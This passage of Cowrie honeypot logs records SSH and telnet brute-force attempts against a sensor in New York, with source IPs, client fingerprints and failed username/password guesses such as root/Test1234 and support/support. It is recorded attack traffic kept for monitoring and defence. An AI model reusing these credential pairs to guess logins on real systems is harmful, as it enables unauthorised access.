om","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:51.485686Z","src_ip":"91.92.42.133","session":"03ee32187bd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:52.252110Z","src_ip":"27.71.230.31","session":"d799be125cec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:52.799468Z","src_ip":"91.92.42.133","session":"03ee32187bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:54.200938Z","src_ip":"91.92.42.133","session":"03ee32187bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2013","message":"login attempt [root/Admin2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:54.624774Z","src_ip":"27.71.230.31","session":"d799be125cec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:56.430764Z","src_ip":"27.71.230.31","session":"d799be125cec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57658,"dst_ip":"159.203.135.109","dst_port":22,"session":"95de9a13d885","protocol":"ssh","message":"New connection: 91.92.42.133:57658 (159.203.135.109:22) [session: 95de9a13d885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:58.476035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:58.790559Z","src_ip":"91.92.42.133","session":"95de9a13d885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:51:58.793662Z","src_ip":"91.92.42.133","session":"95de9a13d885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:00.309596Z","src_ip":"91.92.42.133","session":"95de9a13d885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:01.570702Z","src_ip":"91.92.42.133","session":"95de9a13d885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58038,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0f08fe80979","protocol":"ssh","message":"New connection: 91.92.42.133:58038 (159.203.135.109:22) [session: b0f08fe80979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:05.655064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:06.362746Z","src_ip":"91.92.42.133","session":"b0f08fe80979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:06.367572Z","src_ip":"91.92.42.133","session":"b0f08fe80979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:08.330976Z","src_ip":"91.92.42.133","session":"b0f08fe80979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:09.896122Z","src_ip":"91.92.42.133","session":"b0f08fe80979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":58112,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa8db0479020","protocol":"ssh","message":"New connection: 91.92.42.133:58112 (159.203.135.109:22) [session: aa8db0479020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:13.872923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:13.945000Z","src_ip":"91.92.42.133","session":"aa8db0479020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:14.017792Z","src_ip":"91.92.42.133","session":"aa8db0479020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.216.108.62","src_port":51344,"dst_ip":"159.203.135.109","dst_port":22,"session":"f36eeeabc559","protocol":"ssh","message":"New connection: 112.216.108.62:51344 (159.203.135.109:22) [session: f36eeeabc559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:14.411041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:14.414157Z","src_ip":"112.216.108.62","session":"f36eeeabc559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"12345678","message":"login attempt [openvpn/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:14.434697Z","src_ip":"91.92.42.133","session":"aa8db0479020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:14.615973Z","src_ip":"112.216.108.62","session":"f36eeeabc559","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx1234","message":"login attempt [root/!QAZ2wsx1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:15.444395Z","src_ip":"112.216.108.62","session":"f36eeeabc559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:15.671232Z","src_ip":"91.92.42.133","session":"aa8db0479020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:16.645096Z","src_ip":"112.216.108.62","session":"f36eeeabc559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":39126,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bddec37c0af","protocol":"ssh","message":"New connection: 91.92.42.133:39126 (159.203.135.109:22) [session: 0bddec37c0af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:21.496465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:21.678676Z","src_ip":"91.92.42.133","session":"0bddec37c0af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:21.681278Z","src_ip":"91.92.42.133","session":"0bddec37c0af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"111111","message":"login attempt [guest/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:22.493862Z","src_ip":"91.92.42.133","session":"0bddec37c0af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:23.581024Z","src_ip":"91.92.42.133","session":"0bddec37c0af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45648,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd06b4265c4b","protocol":"ssh","message":"New connection: 91.92.42.133:45648 (159.203.135.109:22) [session: bd06b4265c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:28.854485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:29.168069Z","src_ip":"91.92.42.133","session":"bd06b4265c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:29.171350Z","src_ip":"91.92.42.133","session":"bd06b4265c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:30.681983Z","src_ip":"91.92.42.133","session":"bd06b4265c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39832,"dst_ip":"10.17.0.5","dst_port":23,"session":"343540de8dde","protocol":"telnet","message":"New connection: 94.23.66.112:39832 (10.17.0.5:23) [session: 343540de8dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:31.762520Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:32.041417Z","src_ip":"91.92.42.133","session":"bd06b4265c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":50574,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ae4f53cb378","protocol":"ssh","message":"New connection: 51.250.105.222:50574 (159.203.135.109:22) [session: 9ae4f53cb378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:34.764103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:34.768127Z","src_ip":"51.250.105.222","session":"9ae4f53cb378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:34.897384Z","src_ip":"51.250.105.222","session":"9ae4f53cb378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:35.285775Z","src_ip":"51.250.105.222","session":"9ae4f53cb378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.140.193.156","src_port":57914,"dst_ip":"10.17.0.5","dst_port":22,"session":"f39a5f068bf4","protocol":"ssh","message":"New connection: 45.140.193.156:57914 (10.17.0.5:22) [session: f39a5f068bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:35.932370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:52:35.939024Z","src_ip":"45.140.193.156","session":"f39a5f068bf4","protocol":"ssh"}
